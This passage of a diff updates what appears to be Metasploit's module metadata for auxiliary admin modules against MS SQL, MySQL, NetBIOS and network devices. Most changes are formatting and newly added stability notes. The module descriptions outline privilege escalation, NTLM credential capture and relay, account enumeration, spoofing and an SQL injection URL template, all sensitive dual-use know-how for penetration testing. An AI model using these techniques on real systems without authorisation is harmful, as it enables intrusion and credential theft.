Execution Vulnerability", "fullname": "auxiliary/admin/ms/ms08_059_his2006", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-10-14", "type": "auxiliary", @@ -7301,14 +7381,10 @@ "platform": "", "arch": "", "rport": 0, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-05-21 08:32:40 +0000", "path": "/modules/auxiliary/admin/ms/ms08_059_his2006.rb", "is_install_path": true, "ref_name": "admin/ms/ms08_059_his2006", @@ -7316,29 +7392,30 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/mssql/mssql_enum": { "name": "Microsoft SQL Server Configuration Enumerator", "fullname": "auxiliary/admin/mssql/mssql_enum", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", "author": [ "Carlos Perez " ], - "description": "This module will perform a series of configuration audits and\n security checks against a Microsoft SQL Server database. For this\n module to work, valid administrative user credentials must be\n supplied.", - "references": [ - - ], + "description": "This module will perform a series of configuration audits and\n security checks against a Microsoft SQL Server database. For this\n module to work, valid administrative user credentials must be\n supplied.", + "references": [], "platform": "", "arch": "", "rport": 1433, @@ -7357,7 +7434,7 @@ "sybase" ], "targets": null, - "mod_time": "2024-03-05 13:27:00 +0000", + "mod_time": "2025-06-20 13:20:44 +0000", "path": "/modules/auxiliary/admin/mssql/mssql_enum.rb", "is_install_path": true, "ref_name": "admin/mssql/mssql_enum", @@ -7365,21 +7442,24 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": [ "mssql" ], "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/mssql/mssql_enum_domain_accounts": { "name": "Microsoft SQL Server SUSER_SNAME Windows Domain Account Enumeration", "fullname": "auxiliary/admin/mssql/mssql_enum_domain_accounts", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -7387,7 +7467,7 @@ "nullbind ", "antti " ], - "description": "This module can be used to bruteforce RIDs associated with the domain of the SQL Server\n using the SUSER_SNAME function. This is similar to the smb_lookupsid module, but executed\n through SQL Server queries as any user with the PUBLIC role (everyone). Information that\n can be enumerated includes Windows domain users, groups, and computer accounts. Enumerated\n accounts can then be used in online dictionary attacks.", + "description": "This module can be used to bruteforce RIDs associated with the domain of the SQL Server\n using the SUSER_SNAME function. This is similar to the smb_lookupsid module, but executed\n through SQL Server queries as any user with the PUBLIC role (everyone). Information that\n can be enumerated includes Windows domain users, groups, and computer accounts. Enumerated\n accounts can then be used in online dictionary attacks.", "references": [ "URL-https://docs.microsoft.com/en-us/sql/t-sql/functions/suser-sname-transact-sql" ], @@ -7409,7 +7489,7 @@ "sybase" ], "targets": null, - "mod_time": "2024-02-19 10:57:53 +0000", + "mod_time": "2025-05-17 13:21:09 +0000", "path": "/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts.rb", "is_install_path": true, "ref_name": "admin/mssql/mssql_enum_domain_accounts", @@ -7417,19 +7497,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/mssql/mssql_enum_domain_accounts_sqli": { "name": "Microsoft SQL Server SQLi SUSER_SNAME Windows Domain Account Enumeration", "fullname": "auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -7437,7 +7520,7 @@ "nullbind ", "antti " ], - "description": "This module can be used to bruteforce RIDs associated with the domain of the SQL Server\n using the SUSER_SNAME function via Error Based SQL injection. This is similar to the\n smb_lookupsid module, but executed through SQL Server queries as any user with the PUBLIC\n role (everyone). Information that can be enumerated includes Windows domain users, groups,\n and computer accounts. Enumerated accounts can then be used in online dictionary attacks.\n The syntax for injection URLs is: /testing.asp?id=1+and+1=[SQLi];--", + "description": "This module can be used to bruteforce RIDs associated with the domain of the SQL Server\n using the SUSER_SNAME function via Error Based SQL injection. This is similar to the\n smb_lookupsid module, but executed through SQL Server queries as any user with the PUBLIC\n role (everyone). Information that can be enumerated includes Windows domain users, groups,\n and computer accounts. Enumerated accounts can then be used in online dictionary attacks.\n The syntax for injection URLs is: /testing.asp?id=1+and+1=[SQLi];--", "references": [ "URL-https://docs.microsoft.com/en-us/sql/t-sql/functions/suser-sname-transact-sql" ], @@ -7460,7 +7543,7 @@ "https" ], "targets": null, - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-05-17 13:21:09 +0000", "path": "/modules/auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli.rb", "is_install_path": true, "ref_name": "admin/mssql/mssql_enum_domain_accounts_sqli", @@ -7468,26 +7551,29 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/mssql/mssql_enum_sql_logins": { "name": "Microsoft SQL Server SUSER_SNAME SQL Logins Enumeration", "fullname": "auxiliary/admin/mssql/mssql_enum_sql_logins", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", "author": [ "nullbind " ], - "description": "This module can be used to obtain a list of all logins from a SQL Server with any login.\n Selecting all of the logins from the master..syslogins table is restricted to sysadmins.\n However, logins with the PUBLIC role (everyone) can quickly enumerate all SQL Server\n logins using the SUSER_SNAME function by fuzzing the principal_id parameter. This is\n pretty simple, because the principal IDs assigned to logins are incremental. Once logins\n have been enumerated they can be verified via sp_defaultdb error analysis. This is\n important, because not all of the principal IDs resolve to SQL logins (some resolve to\n roles instead). Once logins have been enumerated, they can be used in dictionary attacks.", + "description": "This module can be used to obtain a list of all logins from a SQL Server with any login.\n Selecting all of the logins from the master..syslogins table is restricted to sysadmins.\n However, logins with the PUBLIC role (everyone) can quickly enumerate all SQL Server\n logins using the SUSER_SNAME function by fuzzing the principal_id parameter. This is\n pretty simple, because the principal IDs assigned to logins are incremental. Once logins\n have been enumerated they can be verified via sp_defaultdb error analysis. This is\n important, because not all of the principal IDs resolve to SQL logins (some resolve to\n roles instead). Once logins have been enumerated, they can be used in dictionary attacks.", "references": [ "URL-https://docs.microsoft.com/en-us/sql/t-sql/functions/suser-sname-transact-sql" ], @@ -7509,7 +7595,7 @@ "sybase" ], "targets": null, - "mod_time": "2023-12-12 09:53:37 +0000", + "mod_time": "2025-05-17 13:21:09 +0000", "path": "/modules/auxiliary/admin/mssql/mssql_enum_sql_logins.rb", "is_install_path": true, "ref_name": "admin/mssql/mssql_enum_sql_logins", @@ -7517,26 +7603,29 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/mssql/mssql_escalate_dbowner": { "name": "Microsoft SQL Server Escalate Db_Owner", "fullname": "auxiliary/admin/mssql/mssql_escalate_dbowner", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", "author": [ "nullbind " ], - "description": "This module can be used to escalate privileges to sysadmin if the user has\n the db_owner role in a trustworthy database owned by a sysadmin user. Once\n the user has the sysadmin role the msssql_payload module can be used to obtain\n a shell on the system.", + "description": "This module can be used to escalate privileges to sysadmin if the user has\n the db_owner role in a trustworthy database owned by a sysadmin user. Once\n the user has the sysadmin role the msssql_payload module can be used to obtain\n a shell on the system.", "references": [ "URL-http://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx" ], @@ -7558,7 +7647,7 @@ "sybase" ], "targets": null, - "mod_time": "2024-03-05 13:27:00 +0000", + "mod_time": "2025-05-17 13:21:09 +0000", "path": "/modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb", "is_install_path": true, "ref_name": "admin/mssql/mssql_escalate_dbowner", @@ -7566,28 +7655,31 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": [ "mssql" ], "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/mssql/mssql_escalate_dbowner_sqli": { "name": "Microsoft SQL Server SQLi Escalate Db_Owner", "fullname": "auxiliary/admin/mssql/mssql_escalate_dbowner_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", "author": [ "nullbind " ], - "description": "This module can be used to escalate SQL Server user privileges to sysadmin through a web\n SQL Injection. In order to escalate, the database user must to have the db_owner role in\n a trustworthy database owned by a sysadmin user. Once the database user has the sysadmin\n role, the mssql_payload_sqli module can be used to obtain a shell on the system.\n\n The syntax for injection URLs is: /testing.asp?id=1+and+1=[SQLi];--", + "description": "This module can be used to escalate SQL Server user privileges to sysadmin through a web\n SQL Injection. In order to escalate, the database user must to have the db_owner role in\n a trustworthy database owned by a sysadmin user. Once the database user has the sysadmin\n role, the mssql_payload_sqli module can be used to obtain a shell on the system.\n\n The syntax for injection URLs is: /testing.asp?id=1+and+1=[SQLi];--", "references": [ "URL-http://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx" ], @@ -7610,7 +7702,7 @@ "https" ], "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-05-17 13:21:09 +0000", "path": "/modules/auxiliary/admin/mssql/mssql_escalate_dbowner_sqli.rb", "is_install_path": true, "ref_name": "admin/mssql/mssql_escalate_dbowner_sqli", @@ -7618,26 +7710,29 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/mssql/mssql_escalate_execute_as": { "name": "Microsoft SQL Server Escalate EXECUTE AS", "fullname": "auxiliary/admin/mssql/mssql_escalate_execute_as", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", "author": [ "nullbind " ], - "description": "This module can be used escalate privileges if the IMPERSONATION privilege has been\n assigned to the user. In most cases, this results in additional data access, but in\n some cases it can be used to gain sysadmin privileges.", + "description": "This module can be used escalate privileges if the IMPERSONATION privilege has been\n assigned to the user. In most cases, this results in additional data access, but in\n some cases it can be used to gain sysadmin privileges.", "references": [ "URL-http://msdn.microsoft.com/en-us/library/ms178640.aspx" ], @@ -7659,7 +7754,7 @@ "sybase" ], "targets": null, - "mod_time": "2024-03-05 13:27:00 +0000", + "mod_time": "2025-05-17 13:21:09 +0000", "path": "/modules/auxiliary/admin/mssql/mssql_escalate_execute_as.rb", "is_install_path": true, "ref_name": "admin/mssql/mssql_escalate_execute_as", @@ -7667,28 +7762,31 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": [ "mssql" ], "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/mssql/mssql_escalate_execute_as_sqli": { "name": "Microsoft SQL Server SQLi Escalate Execute AS", "fullname": "auxiliary/admin/mssql/mssql_escalate_execute_as_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", "author": [ "nullbind " ], - "description": "This module can be used escalate privileges if the IMPERSONATION privilege has been\n assigned to the user via error based SQL injection. In most cases, this results in\n additional data access, but in some cases it can be used to gain sysadmin privileges.\n The syntax for injection URLs is: /testing.asp?id=1+and+1=[SQLi];--", + "description": "This module can be used escalate privileges if the IMPERSONATION privilege has been\n assigned to the user via error based SQL injection. In most cases, this results in\n additional data access, but in some cases it can be used to gain sysadmin privileges.\n The syntax for injection URLs is: /testing.asp?id=1+and+1=[SQLi];--", "references": [ "URL-http://msdn.microsoft.com/en-us/library/ms178640.aspx" ], @@ -7711,7 +7809,7 @@ "https" ], "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-05-17 13:21:09 +0000", "path": "/modules/auxiliary/admin/mssql/mssql_escalate_execute_as_sqli.rb", "is_install_path": true, "ref_name": "admin/mssql/mssql_escalate_execute_as_sqli", @@ -7719,19 +7817,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/mssql/mssql_exec": { "name": "Microsoft SQL Server Command Execution", "fullname": "auxiliary/admin/mssql/mssql_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -7762,7 +7863,7 @@ "sybase" ], "targets": null, - "mod_time": "2024-03-05 13:27:00 +0000", + "mod_time": "2025-05-17 13:21:09 +0000", "path": "/modules/auxiliary/admin/mssql/mssql_exec.rb", "is_install_path": true, "ref_name": "admin/mssql/mssql_exec", @@ -7770,21 +7871,24 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": [ "mssql" ], "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/mssql/mssql_findandsampledata": { "name": "Microsoft SQL Server Find and Sample Data", "fullname": "auxiliary/admin/mssql/mssql_findandsampledata", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -7796,7 +7900,7 @@ "hdm ", "todb " ], - "description": "This script will search through all of the non-default databases\n on the SQL Server for columns that match the keywords defined in the TSQL KEYWORDS\n option. If column names are found that match the defined keywords and data is present\n in the associated tables, the script will select a sample of the records from each of\n the affected tables. The sample size is determined by the SAMPLE_SIZE option, and results\n output in a CSV format.", + "description": "This script will search through all of the non-default databases\n on the SQL Server for columns that match the keywords defined in the TSQL KEYWORDS\n option. If column names are found that match the defined keywords and data is present\n in the associated tables, the script will select a sample of the records from each of\n the affected tables. The sample size is determined by the SAMPLE_SIZE option, and results\n output in a CSV format.", "references": [ "URL-http://www.netspi.com/blog/author/ssutherland/" ], @@ -7818,7 +7922,7 @@ "sybase" ], "targets": null, - "mod_time": "2024-03-05 13:27:00 +0000", + "mod_time": "2025-05-17 13:21:09 +0000", "path": "/modules/auxiliary/admin/mssql/mssql_findandsampledata.rb", "is_install_path": true, "ref_name": "admin/mssql/mssql_findandsampledata", @@ -7826,28 +7930,31 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": [ "mssql" ], "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/mssql/mssql_idf": { "name": "Microsoft SQL Server Interesting Data Finder", "fullname": "auxiliary/admin/mssql/mssql_idf", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", "author": [ "Robin Wood " ], - "description": "This module will search the specified MSSQL server for\n 'interesting' columns and data.\n\n This module has been tested against the latest SQL Server 2019 docker container image (22/04/2021).", + "description": "This module will search the specified MSSQL server for\n 'interesting' columns and data.\n\n This module has been tested against the latest SQL Server 2019 docker container image (22/04/2021).", "references": [ "URL-http://www.digininja.org/metasploit/mssql_idf.php" ], @@ -7869,7 +7976,7 @@ "sybase" ], "targets": null, - "mod_time": "2024-03-05 13:27:00 +0000", + "mod_time": "2025-05-17 13:21:09 +0000", "path": "/modules/auxiliary/admin/mssql/mssql_idf.rb", "is_install_path": true, "ref_name": "admin/mssql/mssql_idf", @@ -7877,28 +7984,31 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": [ "mssql" ], "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/mssql/mssql_ntlm_stealer": { "name": "Microsoft SQL Server NTLM Stealer", "fullname": "auxiliary/admin/mssql/mssql_ntlm_stealer", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", "author": [ "nullbind " ], - "description": "This module can be used to help capture or relay the LM/NTLM credentials of the\n account running the remote SQL Server service. The module will use the supplied\n credentials to connect to the target SQL Server instance and execute the native\n \"xp_dirtree\" or \"xp_fileexist\" stored procedure. The stored procedures will then\n force the service account to authenticate to the system defined in the SMBProxy\n option. In order for the attack to be successful, the SMB capture or relay module\n must be running on the system defined as the SMBProxy. The database account used\n to connect to the database should only require the \"PUBLIC\" role to execute.\n Successful execution of this attack usually results in local administrative access\n to the Windows system. Specifically, this works great for relaying credentials\n between two SQL Servers using a shared service account to get shells. However, if\n the relay fails, then the LM hash can be reversed using the Halflm rainbow tables\n and john the ripper. Thanks to \"Sh2kerr\" who wrote the ora_ntlm_stealer for the\n inspiration.", + "description": "This module can be used to help capture or relay the LM/NTLM credentials of the\n account running the remote SQL Server service. The module will use the supplied\n credentials to connect to the target SQL Server instance and execute the native\n \"xp_dirtree\" or \"xp_fileexist\" stored procedure. The stored procedures will then\n force the service account to authenticate to the system defined in the SMBProxy\n option. In order for the attack to be successful, the SMB capture or relay module\n must be running on the system defined as the SMBProxy. The database account used\n to connect to the database should only require the \"PUBLIC\" role to execute.\n Successful execution of this attack usually results in local administrative access\n to the Windows system. Specifically, this works great for relaying credentials\n between two SQL Servers using a shared service account to get shells. However, if\n the relay fails, then the LM hash can be reversed using the Halflm rainbow tables\n and john the ripper. Thanks to \"Sh2kerr\" who wrote the ora_ntlm_stealer for the\n inspiration.", "references": [ "URL-https://en.wikipedia.org/wiki/SMBRelay" ], @@ -7920,7 +8030,7 @@ "sybase" ], "targets": null, - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-05-17 13:21:09 +0000", "path": "/modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb", "is_install_path": true, "ref_name": "admin/mssql/mssql_ntlm_stealer", @@ -7928,19 +8038,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/mssql/mssql_ntlm_stealer_sqli": { "name": "Microsoft SQL Server SQLi NTLM Stealer", "fullname": "auxiliary/admin/mssql/mssql_ntlm_stealer_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -7948,7 +8061,7 @@ "nullbind ", "Antti " ], - "description": "This module can be used to help capture or relay the LM/NTLM credentials of the\n account running the remote SQL Server service. The module will use the SQL\n injection from GET_PATH to connect to the target SQL Server instance and execute\n the native \"xp_dirtree\" or stored procedure. The stored procedures will then\n force the service account to authenticate to the system defined in the SMBProxy\n option. In order for the attack to be successful, the SMB capture or relay module\n must be running on the system defined as the SMBProxy. The database account used to\n connect to the database should only require the \"PUBLIC\" role to execute.\n Successful execution of this attack usually results in local administrative access\n to the Windows system. Specifically, this works great for relaying credentials\n between two SQL Servers using a shared service account to get shells. However, if\n the relay fails, then the LM hash can be reversed using the Halflm rainbow tables\n and john the ripper.", + "description": "This module can be used to help capture or relay the LM/NTLM credentials of the\n account running the remote SQL Server service. The module will use the SQL\n injection from GET_PATH to connect to the target SQL Server instance and execute\n the native \"xp_dirtree\" or stored procedure. The stored procedures will then\n force the service account to authenticate to the system defined in the SMBProxy\n option. In order for the attack to be successful, the SMB capture or relay module\n must be running on the system defined as the SMBProxy. The database account used to\n connect to the database should only require the \"PUBLIC\" role to execute.\n Successful execution of this attack usually results in local administrative access\n to the Windows system. Specifically, this works great for relaying credentials\n between two SQL Servers using a shared service account to get shells. However, if\n the relay fails, then the LM hash can be reversed using the Halflm rainbow tables\n and john the ripper.", "references": [ "URL-https://en.wikipedia.org/wiki/SMBRelay" ], @@ -7971,7 +8084,7 @@ "https" ], "targets": null, - "mod_time": "2024-01-07 15:02:53 +0000", + "mod_time": "2025-05-17 13:21:09 +0000", "path": "/modules/auxiliary/admin/mssql/mssql_ntlm_stealer_sqli.rb", "is_install_path": true, "ref_name": "admin/mssql/mssql_ntlm_stealer_sqli", @@ -7979,19 +8092,22 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/mssql/mssql_sql": { "name": "Microsoft SQL Server Generic Query", "fullname": "auxiliary/admin/mssql/mssql_sql", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -8021,7 +8137,7 @@ "sybase" ], "targets": null, - "mod_time": "2024-03-05 13:27:00 +0000", + "mod_time": "2025-05-17 13:21:09 +0000", "path": "/modules/auxiliary/admin/mssql/mssql_sql.rb", "is_install_path": true, "ref_name": "admin/mssql/mssql_sql", @@ -8029,31 +8145,32 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": [ "mssql" ], "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/mssql/mssql_sql_file": { "name": "Microsoft SQL Server Generic Query from File", "fullname": "auxiliary/admin/mssql/mssql_sql_file", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", "author": [ "j0hn__f : " ], - "description": "This module will allow for multiple SQL queries contained within a specified\n file to be executed against a Microsoft SQL (MSSQL) Server instance, given\n the appropriate credentials.", - "references": [ - - ], + "description": "This module will allow for multiple SQL queries contained within a specified\n file to be executed against a Microsoft SQL (MSSQL) Server instance, given\n the appropriate credentials.", + "references": [], "platform": "", "arch": "", "rport": 1433, @@ -8072,7 +8189,7 @@ "sybase" ], "targets": null, - "mod_time": "2024-03-05 13:27:00 +0000", + "mod_time": "2025-05-17 13:21:09 +0000", "path": "/modules/auxiliary/admin/mssql/mssql_sql_file.rb", "is_install_path": true, "ref_name": "admin/mssql/mssql_sql_file", @@ -8080,21 +8197,24 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": [ "mssql" ], "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/mysql/mysql_enum": { "name": "MySQL Enumeration Module", "fullname": "auxiliary/admin/mysql/mysql_enum", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -8108,14 +8228,10 @@ "platform": "", "arch": "", "rport": 3306, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2024-03-28 10:34:38 +0000", + "mod_time": "2025-05-21 08:32:40 +0000", "path": "/modules/auxiliary/admin/mysql/mysql_enum.rb", "is_install_path": true, "ref_name": "admin/mysql/mysql_enum", @@ -8123,21 +8239,24 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": [ "mysql" ], "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/mysql/mysql_sql": { "name": "MySQL SQL Generic Query", "fullname": "auxiliary/admin/mysql/mysql_sql", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -8145,20 +8264,14 @@ "Bernardo Damele A. G. " ], "description": "This module allows for simple SQL statements to be executed\n against a MySQL instance given the appropriate credentials.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 3306, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2024-02-14 15:26:34 +0000", + "mod_time": "2025-05-21 08:32:40 +0000", "path": "/modules/auxiliary/admin/mysql/mysql_sql.rb", "is_install_path": true, "ref_name": "admin/mysql/mysql_sql", @@ -8166,21 +8279,24 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [] }, "session_types": [ "mysql" ], "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/natpmp/natpmp_map": { "name": "NAT-PMP Port Mapper", "fullname": "auxiliary/admin/natpmp/natpmp_map", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -8188,40 +8304,29 @@ "Jon Hart " ], "description": "Map (forward) TCP and UDP ports on NAT devices using NAT-PMP", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 5351, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2024-01-07 15:02:53 +0000", + "mod_time": "2025-05-21 08:32:40 +0000", "path": "/modules/auxiliary/admin/natpmp/natpmp_map.rb", "is_install_path": true, "ref_name": "admin/natpmp/natpmp_map", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/netbios/netbios_spoof": { "name": "NetBIOS Response Brute Force Spoof (Direct)", "fullname": "auxiliary/admin/netbios/netbios_spoof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -8231,40 +8336,29 @@ "tombkeeper" ], "description": "This module continuously spams NetBIOS responses to a target for given hostname,\n causing the target to cache a malicious address for this name. On high-speed local\n networks, the PPSRATE value should be increased to speed up this attack. As an\n example, a value of around 30,000 is almost 100% successful when spoofing a\n response for a 'WPAD' lookup. Distant targets may require more time and lower\n rates for a successful attack.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 137, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2024-01-07 15:02:53 +0000", + "mod_time": "2025-05-21 08:32:40 +0000", "path": "/modules/auxiliary/admin/netbios/netbios_spoof.rb", "is_install_path": true, "ref_name": "admin/netbios/netbios_spoof", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/networking/arista_config": { "name": "Arista Configuration Importer", "fullname": "auxiliary/admin/networking/arista_config", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "auxiliary", @@ -8272,20 +8366,14 @@ "h00die" ], "description": "This module imports an Arista device configuration.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2023-02-03 18:12:53 +0000", + "mod_time": "2025-05-18 00:49:03 +0000", "path": "/modules/auxiliary/admin/networking/arista_config.rb", "is_install_path": true, "ref_name": "admin/networking/arista_config", @@ -8294,20 +8382,14 @@ "default_credential": false, "notes": { "Stability": [ - - ], - "Reliability": [ - + "crash-safe" ], - "SideEffects": [ - - ] + "Reliability": [], + "SideEffects": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/networking/brocade_config": { "name": "Brocade Configuration Importer", @@ -8322,20 +8404,14 @@ "h00die" ], "description": "This module imports a Brocade device configuration.", - "references": [ - - ], + "references": [], "platform": "", "arch": "", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-05-18 00:49:03 +0000", "path": "/modules/auxiliary/admin/networking/brocade_config.rb", "is_install_path": true, "ref_name": "admin/networking/brocade_config", @@ -8343,12 +8419,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, - "actions": [ - - ] + "actions": [] }, "auxiliary_admin/networking/cisco_asa_extrabacon": { "name": "Cisco ASA Authentication Bypass (EXTRABACON)", @@ -8378,14 +8457,10 @@ "platform": "", "arch": "", "rport": 161, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": null, - "mod_time": "2021-08-27 17:15:33 +0000", + "mod_time": "2025-05-18 00:49:03 +0000", "path": "/modules/auxiliary/admin/networking/cisco_asa_extrabacon.rb", "is_install_path": true, "ref_name": "admin/networking/cisco_asa_extrabacon", @@ -8395,7 +8470,13 @@ "notes": { "AKA": [ "EXTRABACON" - ] + ], + "Stability": [], + "SideEffects": [ + "ioc-in-logs", + "config-changes" + ], + "Reliability": [] }, "session_types": false, "needs_cleanup": false, @@ -8423,20 +8504,14 @@ "h00die" ], "description": "This module imports a Cisco IOS or NXOS device configuration.", - "references": [ - - ], + "references": [], "platform": "", "arch": 